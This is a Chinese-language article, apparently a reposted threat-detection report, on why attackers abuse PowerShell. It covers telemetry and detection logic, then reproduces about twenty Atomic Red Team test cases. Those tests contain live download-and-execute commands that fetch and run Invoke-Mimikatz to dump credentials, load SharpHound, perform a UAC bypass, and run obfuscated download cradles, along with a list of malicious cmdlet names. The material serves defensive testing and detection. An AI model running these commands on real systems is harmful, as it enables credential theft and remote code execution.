为什么攻击者喜欢使用PowerShell

为什么攻击者喜欢使用PowerShell

目录导航

​​连续第二年,PowerShell 在我们最流行的 ATT&CK 子技术列表中名列前茅。它对攻击者很有吸引力,因为它用途广泛、无处不在,并且与正常的操作系统活动融为一体

分析

为什么攻击者使用 PowerShell?

PowerShell是一个通用且灵活的自动化和配置管理框架,构建在 .NET 公共语言运行时 (CLR) 之上,将其功能扩展到其他常见的命令行和脚本语言之外。PowerShell 默认包含在现代版本的 Windows 中,系统管理员经常使用它来自动执行任务、执行远程管理等。PowerShell 的多功能性和普遍性最大限度地减少了攻击者自定义有效负载或在目标系统上下载恶意工具的需求。

攻击者如何使用 PowerShell?

攻击者以多种方式滥用 PowerShell 以满足多种需求。一般来说,他们用它来:

  • 执行命令
  • 逃避检测
  • 混淆恶意活动
  • 产生额外的进程
  • 远程下载和执行任意代码和二进制文件
  • 收集信息
  • 更改系统配置

我们看到的许多网络钓鱼活动都展示了 PowerShell 的多功能性。攻击者通常会向受害者发送电子邮件,其中包含恶意附件,其中包含旨在启动有效负载的嵌入式代码。在许多情况下,此有效负载执行编码或混淆的 PowerShell 命令,从远程资源下载并执行附加代码或恶意二进制文件。

根据我们对利用 PowerShell 威胁的共性的分析,我们经常观察到攻击者以以下方式滥用 PowerShell:

攻击者偶尔也会利用 PowerShell来禁用 Windows 安全工具并解密加密或混淆的有效负载。

可见性

注意:本报告中的可见性部分映射到 MITRE ATT&CK数据源和组件

自该工具问世以来,防御者就已经能够检测到恶意使用 PowerShell,并且多年来,相关遥测源的阵列与对手滥用几乎同步扩展。以下数据或遥测源可根据具体情况提供给企业防御者或安全供应商。其中一些遥测数据可以从商业 EDR 或其他安全产品、通过本机操作系统日志或两者收集。

进程监控

进程执行和沿袭是我们在 Red Canary 用来检测各种恶意活动的最常见的遥测来源之一。PowerShell 也不例外。我们经常将检测分析主要集中在进程启动、停止和父/子关系上,同时使用其他数据源(如命令行参数或网络连接)来丰富我们的检测逻辑。许多安全工具收集过程遥测数据,Red Canary 利用各种 EDR 工具来收集这些信息。

命令监控

命令行参数也是检测潜在恶意 PowerShell 行为的有效遥测源。当与安全软件中广泛使用的其他遥测技术(例如过程监控和网络连接遥测技术)结合使用时,它们特别有用。

收藏

注意:本报告的收集部分展示了来自 Windows 事件、Sysmon 和其他可用于收集相关安全信息的特定日志源。

Windows 安全事件 ID 1101:反恶意软件扫描接口 (AMSI)

AMSI 遥测旨在供安全供应商使用,提供对 PowerShell 和其他脚本语言(如 VBScript、JScript 和Windows Management Instrumentation (WMI))的磁盘和内存执行的可见性。AMSI 事件不会通过 Windows 事件日志记录显示,但可以通过 Windows 事件跟踪 (ETW) 访问它们。我们在Better Know a Data Source博客系列中深入介绍了 AMSI 。

Windows 安全事件 ID 4104:脚本块日志记录

脚本块日志记录有两个级别:全局和自动。用微软的话来说,它们在“详细”和“警告”级别上运行,这意味着全局脚本块日志记录会收集所有 PowerShell 活动,而自动脚本块日志记录会稍微缩小范围并专注于更有可能包含恶意内容的脚本代码。默认情况下会启用自动脚本块日志记录,它会记录包含可疑术语的 PowerShell 脚本代码。Microsoft 的可疑术语列表包括大多数最常被滥用的 cmdlet 和 .NET API,因此这种级别的日志记录非常可靠。另一方面,必须启用全局脚本块日志记录. 它收集与自动日志记录相同的脚本内容,但不限于 Microsoft 认为“可疑”的内容。它记录一切。两种方法都将日志写入事件 ID 4104。

注意:Scriptblock 日志记录仅与 PowerShell 版本 5 及更高版本兼容。

Windows 安全事件 ID 400:PowerShell 命令行日志记录

虽然 PowerShell 版本 5 及更高版本中提供了最有效的 PowerShell 日志记录和遥测,但在对手利用旧版本的 PowerShell 的情况下,防御者可以依靠一些事件源。从 PowerShell 版本 2 开始,“Windows PowerShell”经典事件日志中的事件 ID 400 始终提供有关 PowerShell 主机进程启动的上下文,包括命令行日志记录。

Windows 安全事件 ID 800 和 4103:模块加载和添加类型日志记录

模块日志记录将所有加载的模块记录到“Windows PowerShell”事件日志中的事件 ID 800。必须明确启用此功能。但是没有很好地记录的是 800 事件还记录了提供给Add-Type cmdlet的源代码的内容。攻击者经常使用 Add-Type 来编译 C# 代码并与之交互。从 PowerShell 版本 5 开始,Microsoft-Windows-PowerShell/操作日志中的事件 ID 4103 中也提供了 Add-Type 上下文。

检测

Red Canary 拥有 173 项检测分析,旨在捕获可疑 PowerShell 活动,其中 97 项引发的事件在 2021 年转换为已确认的威胁检测。寻求检测恶意和可疑 PowerShell 的安全团队将希望寻找进程链或进程启动和命令的组合暗示恶意活动的行。以下检测机会改编自 Red Canary 行为分析,可发现最大或最具影响力的威胁。

注意:这些检测分析可能需要调整。

PowerShell -encodedcommand开关

此检测分析查找powershell.exe包含参数变体的命令行的执行-encodedcommand;PowerShell 将从-e以后识别和接受任何内容,并且它将显示在编码位之外。

process == powershell.exe
&&
command_line_includes ('-e' || '-en' || '-enc' || '-enco'|| [编码命令开关的任何变体])

以下是将“tweet, tweet”打印到控制台的示例编码命令:

powershell.exe -encod VwByAGkAdABlAC0ASABvAHMAdAAgACIAdAB3AGUAZQB0ACwAIAB0AHcAZQBlAHQAIQAiAA==

PowerShell Base64 编码

此分析查找似乎powershell.exe与包含 term 的相应命令行一起执行的进程base64。Base64 编码本身并不可疑,但在很多环境中都值得关注,以下伪检测逻辑可以帮助检测各种恶意活动:

process == powershell.exe
&&
command_line_includes ('base64')

注意:除了在利用 Base64 编码的 PowerShell 上发出警报之外,还可以考虑利用能够解码编码命令的工具(例如Cyber​​Chef )。

以下示例突出显示了 Base64 编码的 PowerShell 内容的执行:

Invoke-Expression -Command ([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('VwByAGkAdABlAC0ASABvAHMAdAAgACIAdAB3AGUAZQB0ACwAIAB0AHcAZQBlAHQAIQAiAA==')))

混淆和转义字符

混淆可以通过拆分命令或参数或插入额外的字符(被 PowerShell 忽略)来破坏检测逻辑。监视 PowerShell 的执行情况,其中包含异常多的字符,如^+$%.

process == powershell.exe
&&
command_line_includes [high counts of] ('^' || '+' || '$' || '%')

有无数种方法可以在 PowerShell 中混淆代码。以下是混淆的 Write-Host 命令的一个示例:

& ([ScriptBlock]::Create("Write-Host '$("{0}{1}{2}{2}{0}" -f 't','w','e'), $([Char] 116)$([Char] 119)$("$(([Char] 0x65))" * 2)t'"))
获取已安装杀毒软件列表

可疑的 PowerShell cmdlet

我们的许多 PowerShell 检测分析会寻找可能指示恶意活动的 cmdlet、方法和开关。以下分析并非详尽无遗,但提供了一些值得关注的可疑 cmdlet 和其他经常被滥用的功能示例:

process == powershell.exe
&&
command_line_includes ('-nop' || '-noni' || 'invoke-expression' || 'iex' || '.downloadstring' || 'downloadfile')

以下示例将许多这些可疑的 cmdlet 组合在一起以将“tweet, tweet”打印到控制台:

powershell.exe -nop iex "\"Write-Host `\"$((New-Object Net.WebClient).DownloadString('https://gist.githubusercontent.com/mgraeber-rc/25ebfac64a2ba5ca22639da9c1aefcfd/raw/d0c4f7338ebc2f8d5349b66b2e31cf239297053f/tweet.txt'))`\"\""

剔除误报

监控编码命令可能看起来很容易,这当然是一个开始的地方。但是,您很快会发现许多平台和管理员都利用 PowerShell 并将编码命令用作正常工作流程的一部分。因此,仅仅基于-encodedcommand开关的变化来标记活动可能会产生大量的误报。从针对离线或静态数据的查询开始,以了解数量。

一旦您对整体音量有了更好的了解,就可以识别解码数据中的模式。利用您对环境正常情况的了解来识别潜在的恶意内容。您可能会发现与某些允许的企业应用程序相关的行为正在触发您的检测分析,因此您可能需要相应地创建排除或调整检测逻辑。

一个常见的误报示例是用户根据他们的安装说明安装 Chocolatey :

Set-ExecutionPolicy Bypass -Scope Process -Force; [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072; iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1'))

测试

开始使用Atomic Red Team测试您对 PowerShell 的防御- 一个映射到 MITRE ATT&CK 的小型、高度可移植的检测测试的开源测试框架。

入门

查看 T1059.001 的原子测试:PowerShell。在大多数环境中,这些应该足以为防御者生成有用的信号。

使用 PowerShell 或命令提示符在 Windows 系统上运行此测试:
powershell.exe -e JgAgACgAZwBjAG0AIAAoACcAaQBlAHsAMAB9ACcAIAAtAGYAIAAnAHgAJwApACkAIAAoACIAVwByACIAKwAiAGkAdAAiACsAIgBlAC0ASAAiACsAIgBvAHMAdAAgACcASAAiACsAIgBlAGwAIgArACIAbABvACwAIABmAHIAIgArACIAbwBtACAAUAAiACsAIgBvAHcAIgArACIAZQByAFMAIgArACIAaAAiACsAIgBlAGwAbAAhACcAIgApAA==

期待什么

运行此测试应打印“Hello, from PowerShell!” 到终端。解码后,该命令运行以下经过混淆的 PowerShell 代码:

& (gcm ('ie{0}' -f 'x')) ("Wr"+"it"+"e-H"+"ost 'H"+"el"+"lo, fr"+"om P"+"ow"+"erS"+"h"+"ell!'")

反混淆后,相当于如下:

调用表达式“Hello, from PowerShell !’”

有用的遥测将包括:
能见度遥测收藏
过程监控一个powershell.exe过程将开始。EDR 软件、Sysmon 和 Windows 安全事件 ID 4688 将记录相关的进程遥测。
命令监控命令行日志记录将捕获编码的 PowerShell 内容。Windows 安全事件 ID 1101、4104、400、800 和 4103 将记录相关的命令遥测。

一些powershell命令示例

测试 #1 – Mimikatz

下载 Mimikatz 并转储凭据。执行后,将显示 mimikatz 转储详细信息和密码哈希。

支持平台: Windows

auto_generated_guid: f3132740-55bc-48c4-bcc0-758a459cd027

输入:

姓名描述类型默认值
mimurlMimikatz 网址网址https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1

攻击命令:运行command_prompt!需要管理员身份运行(例如 root 或 admin)

powershell.exe "IEX (New-Object Net.WebClient).DownloadString('#{mimurl}'); Invoke-Mimikatz -DumpCreds"

测试 #2 – 从本地磁盘运行 BloodHound

执行后,SharpHound 将被下载到磁盘、导入并执行。它将设置收集方法,运行然后将数据压缩并存储到机器上的临时目录中。如果系统无法联系到域,则不会正确执行。

成功执行将产生标准输出消息,说明“SharpHound Enumeration Completed”。完成后,最终输出将是一个 *BloodHound.zip 文件。

支持平台: Windows

auto_generated_guid: a21bb23e-e677-4ee7-af90-6931b57b6350

输入:

姓名描述类型默认值
文件路径SharpHound 有效负载的文件路径StringPathToAtomicsFolder\T1059.001\src

攻击命令:运行powershell

write-host "Import and Execution of SharpHound.ps1 from #{file_path}" -ForegroundColor Cyan
import-module #{file_path}\SharpHound.ps1
Invoke-BloodHound -OutputDirectory $env:Temp
Start-Sleep 5

清理命令:

Remove-Item $env:Temp\*BloodHound.zip -Force

依赖项:运行powershell

说明:SharpHound.ps1 必须位于 #{file_path}
检查 Prereq 命令:
if (Test-Path #{file_path}\SharpHound.ps1) {exit 0} else {exit 1}
获取 Prereq 命令:
Invoke-WebRequest "https://raw.githubusercontent.com/BloodHoundAD/BloodHound/804503962b6dc554ad7d324cfa7f2b4a566a14e2/Ingestors/SharpHound.ps1" -OutFile "#{file_path}\SharpHound.ps1"

Atomic Test #3 – 使用 Download Cradle 从内存运行 Bloodhound

执行后,SharpHound 将加载到内存中并针对域执行。它将设置收集方法,运行,然后将数据压缩并存储到临时目录。如果系统无法联系到域,则不会正确执行。

成功执行将产生标准输出消息,说明“SharpHound Enumeration Completed”。完成后,最终输出将是一个 *BloodHound.zip 文件。

支持平台: Windows

auto_generated_guid: bf8c1441-4674-4dab-8e4e-39d93d08f9b7

攻击命令:运行powershell

write-host "Remote download of SharpHound.ps1 into memory, followed by execution of the script" -ForegroundColor Cyan
IEX (New-Object Net.Webclient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/804503962b6dc554ad7d324cfa7f2b4a566a14e2/Ingestors/SharpHound.ps1');
Invoke-BloodHound -OutputDirectory $env:Temp
Start-Sleep 5

清理命令:

Remove-Item $env:Temp\*BloodHound.zip -Force

测试 #4 – 混淆测试

不同的混淆方法进行测试。执行后,访问 bit.ly/L3g1t 并显示:“从远程位置成功执行 POWERSHELL 代码”

支持平台: Windows

auto_generated_guid: 4297c41a-8168-4138-972d-01f3ee92c804

攻击命令:运行powershell

(New-Object Net.WebClient).DownloadFile('http://bit.ly/L3g1tCrad1e','Default_File_Path.ps1');IEX((-Join([IO.File]::ReadAllBytes('Default_File_Path.ps1')|ForEach-Object{[Char]$_})))
(New-Object Net.WebClient).DownloadFile('http://bit.ly/L3g1tCrad1e','Default_File_Path.ps1');[ScriptBlock]::Create((-Join([IO.File]::ReadAllBytes('Default_File_Path.ps1')|ForEach-Object{[Char]$_}))).InvokeReturnAsIs()
Set-Variable HJ1 'http://bit.ly/L3g1tCrad1e';SI Variable:/0W 'Net.WebClient';Set-Item Variable:\gH 'Default_File_Path.ps1';ls _-*;Set-Variable igZ (.$ExecutionContext.InvokeCommand.(($ExecutionContext.InvokeCommand.PsObject.Methods|?{$_.Name-like'*Cm*t'}).Name).Invoke($ExecutionContext.InvokeCommand.(($ExecutionContext.InvokeCommand|GM|?{$_.Name-like'*om*e'}).Name).Invoke('*w-*ct',$TRUE,1))(Get-ChildItem Variable:0W).Value);Set-Variable J ((((Get-Variable igZ -ValueOn)|GM)|?{$_.Name-like'*w*i*le'}).Name);(Get-Variable igZ -ValueOn).((ChildItem Variable:J).Value).Invoke((Get-Item Variable:/HJ1).Value,(GV gH).Value);&( ''.IsNormalized.ToString()[13,15,48]-Join'')(-Join([Char[]](CAT -Enco 3 (GV gH).Value)))

测试#5 – Mimikatz – Cradlecraft PsSendKeys

通过 PsSendKeys 运行 mimikatz。执行后,将自动执行打开文件资源管理器、打开记事本和输入代码的操作,然后将显示 mimikatz 转储信息。

支持平台: Windows

auto_generated_guid: af1800cf-9f9d-4fd1-a709-14b1e6de020d

攻击命令:运行powershell!需要管理员身份(例如 root 或 admin)

$url='https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1';$wshell=New-Object -ComObject WScript.Shell;$reg='HKCU:\Software\Microsoft\Notepad';$app='Notepad';$props=(Get-ItemProperty $reg);[Void][System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms');@(@('iWindowPosY',([String]([System.Windows.Forms.Screen]::AllScreens)).Split('}')[0].Split('=')[5]),@('StatusBar',0))|ForEach{SP $reg (Item Variable:_).Value[0] (Variable _).Value[1]};$curpid=$wshell.Exec($app).ProcessID;While(!($title=GPS|?{(Item Variable:_).Value.id-ieq$curpid}|ForEach{(Variable _).Value.MainWindowTitle})){Start-Sleep -Milliseconds 500};While(!$wshell.AppActivate($title)){Start-Sleep -Milliseconds 500};$wshell.SendKeys('^o');Start-Sleep -Milliseconds 500;@($url,(' '*1000),'~')|ForEach{$wshell.SendKeys((Variable _).Value)};$res=$Null;While($res.Length -lt 2){[Windows.Forms.Clipboard]::Clear();@('^a','^c')|ForEach{$wshell.SendKeys((Item Variable:_).Value)};Start-Sleep -Milliseconds 500;$res=([Windows.Forms.Clipboard]::GetText())};[Windows.Forms.Clipboard]::Clear();@('%f','x')|ForEach{$wshell.SendKeys((Variable _).Value)};If(GPS|?{(Item Variable:_).Value.id-ieq$curpid}){@('{TAB}','~')|ForEach{$wshell.SendKeys((Item Variable:_).Value)}};@('iWindowPosDY','iWindowPosDX','iWindowPosY','iWindowPosX','StatusBar')|ForEach{SP $reg (Item Variable:_).Value $props.((Variable _).Value)};IEX($res);invoke-mimikatz -dumpcr

测试#6 – Invoke-AppPathBypass

注意:仅限 Windows 10。在执行窗口备份和恢复窗口将被打开。

绕过基于:https ://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/

支持平台: Windows

auto_generated_guid: 06a220b6-7e29-4bd8-9d07-5b4d86742372

攻击命令:运行command_prompt

Powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Misc-PowerShell-Stuff/a0dfca7056ef20295b156b8207480dc2465f94c3/Invoke-AppPathBypass.ps1'); Invoke-AppPathBypass -Payload 'C:\Windows\System32\cmd.exe'"

测试 #7 – Powershell MsXml COM 对象 – 带提示

Powershell MsXml COM 对象。不知道代理,删除缓存虽然似乎不会写入这些位置。执行后,“下载 Cradle 测试成功!” 将显示。

https://github.com/mgreen27/mgreen27.github.io提供

支持平台: Windows

auto_generated_guid: 388a7340-dbc1-4c9d-8e59-b75ad8c6d5da

输入:

姓名描述类型默认值
网址要执行的有效载荷的 url网址https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.001/src/test.ps1

攻击命令:运行command_prompt

powershell.exe -exec bypass -noprofile "$comMsXml=New-Object -ComObject MsXml2.ServerXmlHttp;$comMsXml.Open('GET','#{url}',$False);$comMsXml.Send();IEX $comMsXml.ResponseText"

测试#8 – Powershell XML 请求

Powershell xml 下载请求。执行后,“下载 Cradle 测试成功!” 将被显示。

https://github.com/mgreen27/mgreen27.github.io提供

支持平台: Windows

auto_generated_guid: 4396927f-e503-427b-b023-31049b9b09a6

输入:

姓名描述类型默认值
网址要执行的有效载荷的 url网址https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.001/src/test.xml

攻击命令:运行command_prompt

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -noprofile "$Xml = (New-Object System.Xml.XmlDocument);$Xml.Load('#{url}');$Xml.command.a.execute | IEX"

测试#9 – Powershell 调用 mshta.exe 下载

Powershell 调用 mshta 来下载有效负载。执行后,将打开一个新的 PowerShell 窗口,其中将显示“下载 Cradle 测试成功!”。

https://github.com/mgreen27/mgreen27.github.io提供

支持平台: Windows

auto_generated_guid: 8a2ad40b-12c7-4b25-8521-2737b0a415af

输入:

姓名描述类型默认值
网址要执行的有效载荷的 url网址https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.001/src/mshta.sct

攻击命令:运行command_prompt

C:\Windows\system32\cmd.exe /c "mshta.exe javascript:a=GetObject('script:#{url}').Exec();close()"

测试#10 – Powershell Invoke-DownloadCradle

https://github.com/mgreen27/mgreen27.github.io提供 Invoke-DownloadCradle 用于生成网络和端点工件。

支持平台: Windows

auto_generated_guid: cc50fa2a-a4be-42af-a88f-e347ba0bf4d7

用这些步骤运行它!

  1. 以特权帐户打开 Powershell_ise
  2. 调用-下载Cradle.ps1

测试 #11 – PowerShell 无文件脚本执行

从 Windows 注册表执行 PowerShell 有效负载,类似于在无文件恶意软件感染中看到的。执行后,打开“C:\Windows\Temp”并验证 art-marker.txt 是否在文件夹中。

支持平台: Windows

auto_generated_guid: fa050f5e-bc75-4230-af73-b6fd7852cd73

攻击命令:运行powershell!需要管理员身份运行(例如 root 或 admin)

# Encoded payload in next command is the following "Set-Content -path "$env:SystemRoot/Temp/art-marker.txt" -value "Hello from the Atomic Red Team""
reg.exe add "HKEY_CURRENT_USER\Software\Classes\AtomicRedTeam" /v ART /t REG_SZ /d "U2V0LUNvbnRlbnQgLXBhdGggIiRlbnY6U3lzdGVtUm9vdC9UZW1wL2FydC1tYXJrZXIudHh0IiAtdmFsdWUgIkhlbGxvIGZyb20gdGhlIEF0b21pYyBSZWQgVGVhbSI="
iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp 'HKCU:\Software\Classes\AtomicRedTeam').ART)))

清理命令:

Remove-Item -path C:\Windows\Temp\art-marker.txt -Force -ErrorAction Ignore
Remove-Item HKCU:\Software\Classes\AtomicRedTeam -Force -ErrorAction Ignore

测试 #12 – PowerShell 降级攻击

此测试需要手动安装 PowerShell V2。

尝试在 2.0 版中运行 powershell 命令https://www.leeholmes.com/blog/2017/03/17/detecting-and-preventing-powershell-downgrade-attacks/

支持平台: Windows

auto_generated_guid: 9148e7c4-9356-420e-a416-e896e9c0f73e

攻击命令:运行powershell

powershell.exe -version 2 -Command Write-Host $PSVersion

依赖项:运行powershell

说明:必须安装 PowerShell 版本 2
检查 Prereq 命令:
if(2 -in $PSVersionTable.PSCompatibleVersions.Major) {exit 0} else {exit 1}
获取 Prereq 命令:
Write-Host  Automated installer not implemented yet, please install PowerShell v2 manually

测试#13 – NTFS 备用数据流访问

创建具有备用数据流的文件并模拟执行该隐藏代码/文件。执行后,将显示“Stream Data Executed”。

支持平台: Windows

auto_generated_guid: 8e5c5532-1181-4c1d-bb79-b3a9f5dbd680

输入:

姓名描述类型默认值
ads_file为存储备用流数据而创建的文件String$env:TEMP\NTFS_ADS.txt

攻击命令:运行powershell

Add-Content -Path #{ads_file} -Value 'Write-Host "Stream Data Executed"' -Stream 'streamCommand'
$streamcommand = Get-Content -Path #{ads_file} -Stream 'streamcommand'
Invoke-Expression $streamcommand

清理命令:

Remove-Item #{ads_file} -Force -ErrorAction Ignore

依赖项:运行powershell

说明:Homedrive 必须是 NTFS 驱动器
检查 Prereq 命令:
if((Get-Volume -DriveLetter $env:HOMEDRIVE[0]).FileSystem -contains "NTFS") {exit 0} else {exit 1}
获取 Prereq 命令:
Write-Host Prereq's for this test cannot be met automatically

测试#14 – PowerShell 会话创建和使用

连接到远程 powershell 会话并与主机交互。执行后,将显示网络测试信息和“T1086 PowerShell 会话创建和使用”。

支持平台: Windows

auto_generated_guid: 7c1acec2-78fa-4305-a3e0-db2a54cddecd

输入:

姓名描述类型默认值
hostname_to_connect要连接的主机,默认会连接到本地机器String$env:计算机名

攻击命令:运行powershell!需要管理员身份运行(例如 root 或 admin)

New-PSSession -ComputerName #{hostname_to_connect}
Test-Connection $env:COMPUTERNAME
Set-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use -Value "T1086 PowerShell Session Creation and Use"
Get-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use
Remove-Item -Force $env:TEMP\T1086_PowerShell_Session_Creation_and_Use

依赖项:运行powershell

说明:必须启用 PSRemoting
检查 Prereq 命令:
Try {
    New-PSSession -ComputerName #{hostname_to_connect} -ErrorAction Stop | Out-Null
    exit 0
} 
Catch {
    exit 1
}
获取 Prereq 命令:
Enable-PSRemoting

测试#15 – ATHPowerShellCommandLineParameter – 命令参数变化

使用 -Command 参数的变体执行 powershell.exe

支持平台: Windows

auto_generated_guid: 686a9785-f99b-41d4-90df-66ed515f81d7

输入:

姓名描述类型默认值
command_line_switch_type要使用的受支持命令行开关的类型String连字符
command_param_variation要使用的“Command”参数变体StringC

攻击命令:运行powershell

Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -Execute -ErrorAction Stop

依赖项:运行powershell

说明:必须安装 AtomicTestHarnesses 模块,并且必须在模块中导出 Out-ATHPowerShellCommandLineParameter。
检查 Prereq 命令:
$RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable
if (-not $RequiredModule) {exit 1}
if (-not $RequiredModule.ExportedCommands['Out-ATHPowerShellCommandLineParameter']) {exit 1} else {exit 0}
获取 Prereq 命令:
Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force

测试#16 – ATHPowerShellCommandLineParameter – 带有编码参数的命令参数变体

使用 -Command 参数的变体执行 powershell.exe,并提供编码参数

支持平台: Windows

auto_generated_guid: 1c0a870f-dc74-49cf-9afc-eccc45e58790

输入:

姓名描述类型默认值
command_line_switch_type要使用的受支持命令行开关的类型StringHyphen
command_param_variation要使用的“命令”参数变体StringC
编码参数参数变体要使用的“EncodedArguments”参数变体StringEA

攻击命令:运行powershell

Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop

依赖项:运行powershell

说明:必须安装 AtomicTestHarnesses 模块,并且必须在模块中导出 Out-ATHPowerShellCommandLineParameter。
检查 Prereq 命令:
$RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable
if (-not $RequiredModule) {exit 1}
if (-not $RequiredModule.ExportedCommands['Out-ATHPowerShellCommandLineParameter']) {exit 1} else {exit 0}
获取 Prereq 命令:
Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force

测试#17 – ATHPowerShellCommandLineParameter -EncodedCommand 参数变化

使用 -EncodedCommand 参数的变体执行 powershell.exe

支持平台: Windows

auto_generated_guid: 86a43bad-12e3-4e85-b97c-4d5cf25b95c3

输入:

姓名描述类型默认值
command_line_switch_type要使用的受支持命令行开关的类型StringHyphen
编码命令参数变量要使用的“EncodedCommand”参数变体StringE

攻击命令:运行powershell

Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -Execute -ErrorAction Stop

依赖项:运行powershell

说明:必须安装 AtomicTestHarnesses 模块,并且必须在模块中导出 Out-ATHPowerShellCommandLineParameter。
检查 Prereq 命令:
$RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable
if (-not $RequiredModule) {exit 1}
if (-not $RequiredModule.ExportedCommands['Out-ATHPowerShellCommandLineParameter']) {exit 1} else {exit 0}
获取 Prereq 命令:
Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force

测试#18 – ATHPowerShellCommandLineParameter -EncodedCommand 参数变体与编码参数

使用 -EncodedCommand 参数的变体执行 powershell.exe,并提供编码参数

支持平台: Windows

auto_generated_guid: 0d181431-ddf3-4826-8055-2dbf63ae848b

输入:

姓名描述类型默认值
编码命令参数变量要使用的“EncodedCommand”参数变体StringE
command_line_switch_type要使用的受支持命令行开关的类型StringHyphen
编码参数参数变体要使用的“EncodedArguments”参数变体StringEncodedArguments

攻击命令:运行powershell

Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop

依赖项:运行powershell

说明:必须安装 AtomicTestHarnesses 模块,并且必须在模块中导出 Out-ATHPowerShellCommandLineParameter。
检查 Prereq 命令:
$RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable
if (-not $RequiredModule) {exit 1}
if (-not $RequiredModule.ExportedCommands['Out-ATHPowerShellCommandLineParameter']) {exit 1} else {exit 0}
获取 Prereq 命令:
Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force

测试#19 – PowerShell 命令执行

使用经过混淆的 PowerShell 执行任意命令;输出“你好,来自 PowerShell!”。示例来自 Red Canary 的 2021 年威胁检测报告。

支持平台: Windows

auto_generated_guid: a538de64-1c74-46ed-aa60-b995ed302598

输入:

姓名描述类型默认值
混淆代码默认为:带有“Write-Host”行的 Invoke-Expression。StringJgAgACgAZwBjAG0AIAAoACcAaQBlAHsAMAB9ACcAIAAtAGYAIAAnAHgAJwApACkAIAAoACIAVwByACIAKwAiAGkAdAAiACsAIgBlAC0ASAAiACsAIgBvAHMAdAAgACcASAAiACsAIgBlAGwAIgArACIAbABvACwAIABmAHIAIgArACIAbwBtACAAUAAiACsAIgBvAHcAIgArACIAZQByAFMAIgArACIAaAAiACsAIgBlAGwAbAAhACcAIgApAA==

攻击命令:运行command_prompt

powershell.exe -e  #{obfuscated_code}

测试#20 – PowerShell 调用已知的恶意 Cmdlet

已知恶意 PowerShell Cmdlet 的 Powershell 执行

支持平台: Windows

auto_generated_guid: 49eb9404-5e0f-4031-a179-b40f7be385e3

输入:

姓名描述类型默认值
Malicious_cmdlet已知的恶意 CmdletString“Add-Persistence”、“Find-AVSignature”、“Get-GPPAutologon”、“Get-GPPPassword”、“Get-HttpStatus”、“Get-Keystrokes”、“Get-SecurityPackages”、“Get-TimedScreenshot”、“Get -VaultCredential”、“Get-VolumeShadowCopy”、“Install-SSP”、“Invoke-CredentialInjection”、“Invoke-DllInjection”、“Invoke-Mimikatz”、“Invoke-NinjaCopy”、“Invoke-Portscan”、“Invoke-ReflectivePEInjection” “, “Invoke-ReverseDnsLookup”, “Invoke-Shellcode”, “Invoke-TokenManipulation”, “Invoke-WmiCommand”, “Mount-VolumeShadowCopy”, “New-ElevatedPersistenceOption”, “New-UserPersistenceOption”, “New-VolumeShadowCopy”, “Out-CompressedDll”,“Out-EncodedCommand”、“Out-EncryptedScript”、“Out-Minidump”、“PowerUp”、“PowerView”、“Remove-Comments”、“Remove-VolumeShadowCopy”、“Set-CriticalProcess”、“Set-MasterBootRecord”

攻击命令:运行powershell!需要管理员身份运行(例如 root 或 admin)

$malcmdlets = #{Malicious_cmdlets}
foreach ($cmdlets in $malcmdlets) {
    "function $cmdlets { Write-Host Pretending to invoke $cmdlets }"}
foreach ($cmdlets in $malcmdlets) {
    $cmdlets}

测试#21 – PowerUp Invoke-AllChecks

使用来自 PowerShellMafia 的 PowerUp 检查权限提升路径

支持平台: Windows

auto_generated_guid: 1289f78d-22d2-4590-ac76-166737e1811b

攻击命令:运行powershell

[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
iex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)
Invoke-AllChecks

你可能会感兴趣的文章:

转载请注明出处及链接

Leave a Reply

您的电子邮箱地址不会被公开。 必填项已用*标注